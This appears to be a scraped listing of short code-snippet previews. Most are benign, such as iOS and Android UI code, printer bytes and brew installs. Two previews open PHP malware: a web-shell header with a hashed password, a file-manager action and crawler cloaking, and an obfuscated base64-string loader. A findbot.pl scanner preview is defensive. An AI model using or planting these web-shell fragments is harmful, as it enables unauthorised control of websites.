This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| NSNumberFormatter *numberFormatter = [[NSNumberFormatter alloc] init]; | |
| [numberFormatter setGroupingSeparator:@"."]; | |
| [numberFormatter setGroupingSize:3]; | |
| [numberFormatter setUsesGroupingSeparator:YES]; | |
| [numberFormatter setDecimalSeparator:@","]; | |
| [numberFormatter setNumberStyle:NSNumberFormatterDecimalStyle]; | |
| [numberFormatter setMaximumFractionDigits:0]; | |
| NSString *nominal = [numberFormatter stringFromNumber:[dict valueForKey:@"amount"]]; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| $auth_pass = "460c3646e4c75a4fae5c8fe817e0c435"; | |
| $color = "#00FF66"; | |
| $default_use_ajax = true; | |
| $default_charset = 'Windows-1251'; | |
| $default_action = 'FilesMan'; | |
| if(!empty($_SERVER['HTTP_USER_AGENT'])) { | |
| $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
| if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /** | |
| * WordPress Category API | |
| * | |
| * @package WordPress | |
| */ | |
| /** | |
| * Retrieves all category IDs. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| function _1202589136($i) | |
| { | |
| $a = Array( | |
| 'RE' . '9DVU1FTl' . 'RfUk9' . 'P' . 'V' . 'A' . '=' . '=', | |
| 'L3V' . 'w' . 'bG' . '9hZF' . '9' . 'maWx' . 'lc' . 'y9nZW9pcC5k' . 'YXQ=', | |
| 'X' . 'yg' . 'u', | |
| 'Kilf', | |
| '' . 'ZQ==', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/perl | |
| # The above line may need to be changed to point at your version of Perl | |
| # | |
| # This script attempts to find malicious files/scripts on your machine. | |
| # It specifically looks for spambots that we're aware of, as well | |
| # as "suspicious" constructs in various scripting languages. | |
| # | |
| # Normally it should be run as root. | |
| # | |
| # By default, findbot.pl scans the directories /tmp, /usr/tmp, /home and |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| File imgFile = new File("/mnt/sdcard/ektp_baru_blur.jpg"); | |
| Bitmap myBitmap = BitmapFactory.decodeFile(imgFile.getAbsolutePath()); | |
| Bitmap destBitmap = Bitmap.createBitmap(myBitmap, 100,0,1410,myBitmap.getHeight()); | |
| finalImg.setImageBitmap(destBitmap); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| final Handler handler = new Handler(); | |
| handler.postDelayed(new Runnable() { | |
| @Override | |
| public void run() { | |
| // Do something after 5s = 5000ms | |
| Log.i("coba","JALANKAN BARIS INI"); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| //1D 7C 01 n | |
| byte[] bbNoSleep = {(byte)0x1D,(byte)0x7C,(byte)0x01,(byte)0xFF,}; | |
| BlueToothServicesP25.sendSocketMsg(bbNoSleep); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [_loginBtn setBackgroundImage:[UIImage imageNamed:@"buttonlogin"] forState:UIControlStateNormal]; | |
| UIImage *fieldBGImage = [[UIImage imageNamed:@"inputform"] stretchableImageWithLeftCapWidth:20 topCapHeight:20]; | |
| [_userIDTxt setBorderStyle:UITextBorderStyleNone]; | |
| [_userIDTxt setBackground:fieldBGImage]; | |
| [_tinTxt setBorderStyle:UITextBorderStyleNone]; | |
| [_tinTxt setBackground:fieldBGImage]; | |
| UIView *paddingView = [[UIView alloc] initWithFrame:CGRectMake(0, 0, 20, 20)]; | |
| _userIDTxt.leftView = paddingView; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| brew install autoconf | |
| brew install automake | |
| brew install libtool |